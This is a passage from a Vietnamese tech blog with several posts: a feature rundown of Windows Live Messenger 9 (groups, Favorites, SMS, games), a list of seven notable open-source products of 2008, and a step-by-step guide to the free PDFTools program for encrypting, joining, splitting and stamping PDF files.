Ngoài category (danh mục liên hệ) thì WLM 9 có thêm group (nhóm) để người sử dụng dễ dàng phân nhỏ các nhóm đối tượng liên hệ và sinh hoạt thành nhóm cộng đồng. Live cho phép người dùng tạo nhóm tùy ý tương tự group của Google trước kia nhưng group của Windows Live mang tính chất mạng xã hội nhiều hơn.

Trong group, người tạo sẽ mặc định là trưởng nhóm và các thành viên có thể tham gia group thông qua thư mời từ trưởng nhóm hoặc gửi thư yêu cầu gia nhập. Mỗi group sẽ có nhiều chức năng hỗ trợ như email, discussions (tương tự diễn đàn thu nhỏ, là nơi trao đổi thông tin của các thành viên trong group về đề tài nào đó), photos (hình ảnh được chia sẻ trong group), calendar (lịch của group), SkyDrive (chia sẻ dữ liệu giữa các thành viên trong group).

Những thông tin mới của từng thành viên trong group có thể được các thành viên khác cập nhật dễ dàng. Group có thể được xem là một mạng xã hội thu nhỏ, tiện lợi và dễ quản lý, nơi mà các nhóm người dùng đã có liên hệ với nhau cùng tham gia, cộng thêm sự hỗ trợ từ các dịch vụ, ứng dụng khác từ Windows Live sẽ giúp group dễ tiếp cận hơn với đối tượng sử dụng không ưa thích các mạng xã hội rộng lớn.

Khi đăng ký một group mới, một địa chỉ website cho group cũng được tạo theo mặc định là tencuagroup.groups.live.com. Trưởng nhóm chỉ cần vào và thiết lập một vài tùy chọn cơ bản là có thể khởi đầu một group.

Nhóm Favorites trong WLM 9 giúp người dùng tương tác tốt hơn với các mối liên hệ mật thiết, thường xuyên chat. Những nickname liên hệ thân thiết sẽ được ưu tiên nằm lên hàng trên trong Favorites. Chỉ việc chọn và kéo rê nickname và thả vào Favorites là ta có thể biết được "người trong mộng" hay bạn bè thân khi nào online hay sẵn sàng để trò chuyện.

Khi không muốn hiển thị Favorites và group trong danh sách liên hệ của WLM 9, chỉ cần vào Option - Layout để bỏ chọn " Show Favorites " và " Show Groups ".

Gửi tin nhắn SMS - game - webcam

Chức năng gửi tin nhắn tới điện thoại di động tiện dụng nhưng Việt Nam chưa nằm trong danh sách hỗ trợ. Bạn có thể gửi sms cho bạn bè hay người thân đang sống tại Mỹ, Singapore, Úc, Canada, Đức, Nhật... qua WLM 9. Lưu ý ở một số nước có thể người nhận sẽ phải trả phí khi nhận tin nhắn sms được gửi từ bạn qua WLM 9.

WLM 9 hỗ trợ nhiều game trực tuyến nho nhỏ để khi tán gẫu với bạn bè thì có thể cùng chơi. Giao diện webcam cũng lớn hơn với công nghệ làm ảnh webcam hiển thị mượt hơn.

Windows Live Messenger 9 tiếng Việt

Ngoài ra cũng phải kể đến điều tiện lợi cho người dùng Việt Nam khi tiếp cận WLM là khả năng hỗ trợ tiếng Việt có dấu (Unicode) rất tốt, kèm theo phiên bản Việt hóa đã có mặt trong WLM 9.

Chỉ cần một tài khoản hotmail hoặc Windows Live là có thể sử dụng WLM 9 tại đây . Nếu muốn dùng bản tiếng Việt thì chọn Vietnamese (tiếng Việt) ở phần download.

Thứ Năm, 20 tháng 9, 2012

7 sản phẩm mã mở ấn tượng năm 2008

Phần mềm nguồn mở không chỉ có hệ điều hành Linux mà nhiều chương trình khác như OpenOffice.org, IBM Lotus Symphony, Firefox và Android cũng đang chinh phục người dùng.

OpenOffice.org 3.0 được coi là dấu mốc quan trọng của gói ứng dụng văn phòng nguồn mở khi nó được đánh giá là "đủ lực đủ tài" để đánh bại Microsoft Office, nhất là trong giai đoạn khủng hoảng kinh tế hiện nay.

Lotus Symphony là gói ứng dụng văn phòng được IBM giới thiệu từ năm 1984 và đã tiến một bước dài trong năm 2008 khi hãng này nâng cấp sản phẩm dựa trên nền OpenOffice.org nhằm cạnh tranh với Microsoft trên môi trường desktop.

Firefox 3.0 với các tính năng như thanh địa chỉ "awesome bar" có thể hiển thị tên website và đường link từ nhật ký truy cập, bookmark... ngày càng khẳng định trình duyệt mã mở đang "đi trước" Microsoft Internet Explorer.

Nền tảng phát triển tiểu blog (micro-blog) Laconica có thể sẽ vượt qua mạng xã hội Twitter trong năm tới nhờ các website được xây dựng trên nền này như Identi.ca. (Tiểu blog là hình thức cập nhật video, audio hoặc các đoạn thông tin dưới 140 ký tự qua e-mail, SMS, trình duyệt...).

Hệ điều hành Fedora 9, tên mã Sulphur, ra đời ngày 13/5/2008 mang đến một hệ thống quản lý kiểu mới cùng nhiều cải tiến về bộ nhớ, bảo mật và hiệu suất.

Ubuntu 8.10, "bí danh" Intrepid Ibex dành cho các hệ thống để bàn, tương đối dễ sử dụng với đầy đủ các tính năng cần thiết cho những ai không muốn bị Microsoft "sờ gáy" vì vấn đề bản quyền.

Android, hệ điều hành mã mở cho các thiết bị di động, xuất hiện với thông điệp rõ ràng là vượt qua nền tảng của iPhone. Đối với giới phát triển, Android mở ra khả năng sáng tạo ứng dụng và thay đổi cách nhà sản xuất tiếp cận điện thoại. Phần mềm này được dự đoán sẽ có một tương lai sáng từ 2009.

Thứ Ba, 18 tháng 9, 2012

“Can thiệp” file PDF bằng phần mềm miễn phí

PDF là định dạng văn bản thông dụng hiện nay do có ưu điểm về khả năng bảo mật, nhưng PDF cũng có hạn chế về mặt can thiệp và chỉnh sửa. Với PDFTools, bạn sẽ sở hữu một công cụ làm việc mạnh mẽ với file PDF.

Đặc điểm nổi bật nhất của PDF là không thể chỉnh sửa nội dung bằng những công cụ thông thường (điểm này vượt trội hơn so với định dạng .doc của Microsoft Word), tuy nhiên, nếu bạn cảm thấy rằng chừng đó là chưa đủ, hãy thử sử dụng PDFTools.

PDFTools là công cụ miễn phí, cung cấp những tính năng mã hóa để bảo mật nội dung file PDF, đồng thời còn cho phép người dùng cắt, ghép, sắp xếp lại số trang hoặc đóng dấu bản quyền lên file PDF…

Downlaod PDF Tools miễn phí tại  đây  (Chương trình cần cài đặt môi trường Java để sử dụng, download tại  đây )

Sau khi download và cài đặt, tại giao diện chính, bạn có thể nhận ra đầy đủ các tính năng của chương trình.

- Encrypt PDF : cho phép người dùng đặt mật khẩu bảo vệ cho file PDF. Kích vào Source PDF File để chọn file cần bảo vệ, Output PDF File để chọn vị trí lưu file sau khi mã hóa. Điền mật khẩu vào khung Passphrase for encrypted PDF , mục Owner Password để bạn điền mật khẩu của file gốc (nếu file đã được đặt mật khẩu từ trước). Cuối cùng đánh dấu vào tùy chọn 128bit và nhấn Encrypt .

- Decrypt PDF : nếu đã đặt mật khẩu bằng chức năng ở trên, thì đây chính là chức năng để gỡ bỏ mật khẩu khỏi file PDF. Tiến hành tương tự như trên, chọn file gốc và vị trí lưu file sau khi gỡ bỏ mật khẩu, điền mật khẩu của file gốc và nhấn vào Decrypt .

Rất tiếc, theo tác giả của phần mềm, tính năng này hiện đang gặp lỗi về sẽ được khắc phục trong phiên bản tiếp theo.

- Join Multiples PDFs : cho phép ghép nhiều file PDF khác nhau thành 1 file duy nhất, với số trang được sắp xếp theo danh sách từng file. Để làm điều này, bạn nhấn Add PDF để chọn file đưa vào danh sách, mục Output PDF File để lưu file sau khi ghép, cuối cùng nhấn Join .

Bạn có thể sử dụng các nút Move Up, Move Down để sắp xếp thứ tự các file trong danh sách, hoặc Remove PDF để loại bỏ file khỏi danh sách.

- Split PDF : là tính năng trái ngược với tính năng trên, cắt nhỏ 1 file PDF ra thành nhiều file khác nhau. Có rất nhiều tùy chọn cắt file khác nhau. Bạn có thể cắt mỗi trang ra thành 1 file, hoặc cắt trong phạm vi từ trang này đến trang kia.

- Stamp PDF : là tính năng cho phép người dùng đóng dấu bản quyền lên nội dung file PDF để tránh bị người khác "ăn cắp". Bạn có thể đóng dấu bằng 1 đoạn text hoặc bằng 1 file ảnh (logo). Bạn cũng có thể tùy chọn vị trí do chương trình cung cấp (các góc file, trên hay dưới…) hoặc điền tọa độ để chén vào file…

- Với tính năng Rearrange PDF , người dùng có thể sắp xếp đảo lộn trật tự file PDF, ghép 2 trang làm một để tiết kiệm số trang….

- PDF Creator : là tính năng tạo file PDF từ file XML. Tuy nhiên, một điều khó hiểu là tác giả của phần mềm lại chọn file XML thay vì các định dạng file thông dụng như doc hay txt. Hy vọng, tính năng tạo file PDF sẽ được cải tiến trong các phiên bản sau.

Trên đây là các tính năng mà PDFTools cung cấp cho bạn. Ưu điểm của phần mềm này đó là tốc độ xử lý nhanh và không chiếm dụng nhiều tài nguyên.

Hy vọng với PDFTools, bạn sẽ có thêm 1 công cụ để tiến hành xử lí trên file PDF.